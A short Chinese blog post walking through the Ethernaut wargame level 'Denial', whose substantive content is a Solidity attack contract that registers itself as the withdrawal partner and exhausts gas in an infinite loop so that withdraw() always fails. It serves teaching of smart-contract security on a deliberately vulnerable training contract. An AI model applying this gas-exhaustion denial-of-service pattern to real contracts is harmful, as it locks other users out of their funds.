# 智能合约黑客攻击 Ethernaut:  
 20. Denial

**Published by:** [Leek DEV](https://paragraph.com/@leekdev/)
**Published on:** 2023-09-28
**URL:** https://paragraph.com/@leekdev/ethernaut-20-denial

## Content

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目阻止其他人调用 withdraw() 方法。Hack思路给owner转钱之前会给 partner 转，可以在 partner 合约中的 receive() 中把 Gas 耗光。interface IDenial { function setWithdrawPartner(address _partner) external; } contract _loop { } contract DenialHack { constructor(address _target) { IDenial exploitInst = IDenial(_target); exploitInst.setWithdrawPartner(address(this)); } fallback() external payable { // 死循环去耗光 Gas while (true) new _loop(); } } Hack案例…防范思路…参考资料….

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